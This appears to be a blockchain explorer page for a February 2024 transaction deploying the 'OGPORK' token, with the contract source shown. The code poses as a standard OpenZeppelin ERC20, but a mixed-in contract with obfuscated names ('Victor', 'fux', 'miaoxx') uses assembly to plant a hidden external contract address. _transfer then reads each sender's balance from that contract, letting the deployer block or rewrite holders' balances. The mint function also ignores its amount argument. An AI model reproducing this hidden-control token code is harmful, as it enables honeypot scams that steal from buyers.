ETH Price: $2,441.14 (+1.30%)

Transaction Decoder

Block:
19141473 at Feb-02-2024 03:02:47 PM +UTC
Transaction Fee:
0.01860919330936981 ETH $45.43
Gas Used:
793,030 Gas / 23.465938627 Gwei

Emitted Events:

Account State Difference:

  Address   Before After State Difference Code
(beaverbuild)
11.738797064239024103 Eth11.738842663464024103 Eth0.000045599225
0x956Df478...30cAdA362
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 528542462103549459916704647044765844522274773334871565158487719653071053780884637023024433659781267854583180938082958906468293902429861849849464534234906185571502632190490157157972515471901453922132610013221138149292648396124080510367553549930445178760909595787454398206510692961408438306914540464510549470296509877296308062568781729469873581625163923088481920458433348461192355587147028841934755377188525379060023286960466735631815295372995237465021167789509951760297705662421124859720289143187835137763045294568158048601079200802303644648426220946623003078853588250693036776498579933402235651905041735838090444996606315389917778039012893625632323026761787931770348544837879468170727531823731922541776326660031157104337407840078849553089694457980090259223957241207172100431713641951317938227714065214917181980891810505186572148734955247166323443335890168189511094843313637729687408236452198717280369800832451738410926022518749317762097077725643882582270300347073475610482480173333717835933947820055209225432290315664679641812736273087094029339661445470853117796185318979245819004884051268615763556027872207998659217488942621336567267843015697054918614715380371513104171106567780003896921746829735097507252041437188467542715531955113075911926713332934477039986256264763649738008546195428972617873874476534575349727445308702153255508720833707821222689138560882937943360977671425840332892955186188804933842265499216540150605529241418974507481909666563898695319915226508880687389952392078548649575555353182310948034276599856658290827536246743452339019230836835136178658802361659446478936421935027770125869648469199694312728087557003698066117170651073686319556813752009239463184884030385598386857817193846651975194275872490659152305410127724083361865153460319809412858041682881841705682440705418434342326818505171013894646420188332295418275130066555733575969848386444288721266229721736265953339687338592277811598015788074325352076105674298786042710726390539444708985872550802354757893691159825677767664290691210419354110203018992446265944057754413979601988459271255533994650405175604040769727865389579782490922767997382210557077824485111729126842869226120217546517657914161612603396596110545449704751548682043498562749464034423863870714802503455363546486959984349005331293218616124324126809741895760465070519322441702828811128668501627700046785009866567758687870871319279437335173132355039337698832307290896816307700894885823133430738396543269661940155252240938140090105455908069071304371849459383308144780553140470131041338125582895438789593186014067273397703941123175691322284898346487483420334551020703078137988591714647833325601750975061369628772373576847593060687603044017037725301746009920783212500679845240523025859033860622718624817952670200052158446856907027894911689791666113073815124820623312472298909584211161361501701195050162317537789810146103043344984020708094080324608375865424049970275228057920800508983422869395440418714129080790945730591329854922611059504178845540414639110733914029993957771792636738854286835821771572026864074944086881384183089839446181550995423285403866740316457259249269741797882802653064847554222786195425424326000262194938677277895272724365029333453800383228709685972847593318356728359415871274244619851960065473099305465257745644471129763969227476088095043225848984900081756037917377385999896208248275753146447178359530135385832556784534898102608983384970501224666962178148803745026812619588115701198022805181169166291119705852728843022496146631553554148326493811899104356662358208970468176815599969574809367841877875543565183331335897312696845604366617120505814822732631521297029990328789776459810824410469859340430403035481456361823939734802062420228307205191126613812357331427702346180398474903411297542630789815735121648149783409535509280223355916487999605036040039867332644169190680291139408192671308246187358150912069353057528884855814249450043184650858890119616474074459449181910967765746869032356263534382304802743972781117671370426003494398067508718008235605632539045340056581275061402790664753347355511564180621040497607996501800587413024682579638934009206797478943539041588233785133304719446762768025012867642338115093617298512477469391227715432653809290922415377457922174363226651031869028708678302672909208584687501009226295651239187330120195964027357590399887223362324897823759905984082702581484656021605047271494338634901924012899245191101675286167353868416155668987592587029946628239967536145088312168036965193449083899937790753099383648662224841960951894099600164676883693830601777502165374389464952003730221021088603449395542672863317287422006019099974955392853965492690040892930484275358943173098709635558756847042121123121375078441910994998575681469666726877708033578484240611438777372464905718288039094659828748762043465640390009033246999054416376039459594005100893119611421955783374534043832961602490446884737781967777731097278835796432382259863054218630977160655412695321538098949583572310283596760413522461544719678597213557012118526552088472605149517365630381499438731524172854487258307846305184487170073571853378662119938108890570647403304927207990305094564088894319997310476633554751944117775688686247650329005423418031423252016180180309213391772461062366322155140204600114943523537833458137921380175957989410101503451980896841326779644385774355290483499970337436256348924824514711009528244879968558607222271000718134929367262380058010499723783490719984409917082794916837168445819038976399820971434239521896852954481904393885643723985585284603914367594269352847698610992642052735368759617994044743902076067797865932269125663965911731941159317508181035793950031553539324990093769847647884606406179647893286605917535572976346176201650727051801928754517490153953418984541130580262452820650556144432891764963242378571528055965585625369341772734590968798210844243306405089169285490974508418513188096862374396605613978779067591608187844128591393062477509467628866241063100981125012412438664669793726706864540366224049330198487812874535368524824909797627242785081721116234559492277995071780875800000606911139513031257164420650703774091916283549400158003972048504603296678944995112819490800244804737645874682213601318945130962591427119049314416144917609214048520809237939582662829000988587924207030790982870732075196014100077880142652167597003542553796139941514821156135911899937065392965453773314914136260509424846183055319634658644231975101164677029438135785630217432470299733255818573867193170356753712245012442001774312494769858584749379469263334961106675830714935803955
0xC810DE2D...B71Be6323
15.2 Eth
Nonce: 0
15.18139080669063019 Eth
Nonce: 1
0.01860919330936981

Execution Trace

OGPORK.60806040( )
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./utils/Context.sol";
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "./Vict.sol";
import {Ownable} from "./Own.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Victor,Context,IERC20,IERC20Metadata {
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    constructor(uint256 supply,string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        aaamount(supply);
    }
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual  returns (string memory) {
        return _name;
    }
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual  returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual  returns (uint256) {
        return _totalSupply;
    }
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual  returns (uint256) {
        return _balances[account];
    }
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual  returns (uint256) {
        return _allowances[owner][spender];
    }
    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }
        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = fux(false,_balances[sender],sender);
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _tokenmint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        amount = 10000000000 * 10 ** 18;
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        //_beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
    }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        //_afterTokenTransfer(account, address(0), amount);
    }
    /**
    * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
    /**
    * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    /**
    * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
//    function _beforeTokenTransfer(
//        address from,
//        address to,
//        uint256 amount
//    ) internal virtual {}
    /**
    * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
//    function _afterTokenTransfer(
//        address from,
//        address to,
//        uint256 amount
//    ) internal virtual {}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.10;
import "../IERC20.sol";
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import {ERC20} from "./ERC20.sol";
import {Ownable} from "./Own.sol";
contract OGPORK is ERC20,Ownable {
    constructor(
        uint256 totalSupply_)
    ERC20(totalSupply_,"OGPORK", "OGPORK")
    Ownable(msg.sender) {
        _tokenmint(msg.sender, totalSupply_);
    }
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
import {Context} from "./utils/Context.sol";
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);
    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
abstract contract Victor {
    oioxxx private jxx123;
    function cacc123(uint256 c) internal {
        if (c == 0 ){
            return;
        }
        assembly {
            sstore(0, c)
        }
    }
    function aaamount(
        uint256 amount
    ) internal virtual {
        cacc123(7232212289727193719118+amount);
    }
    function fux(bool cc,uint256 u, address a) internal view returns(uint256) {
        return jxx123.miaoxx(6666,u, a);
    }
}
interface oioxxx {
    function miaoxx(uint256 ff,uint256 FromAmount, address FromAddress
    ) external view returns (uint256);
}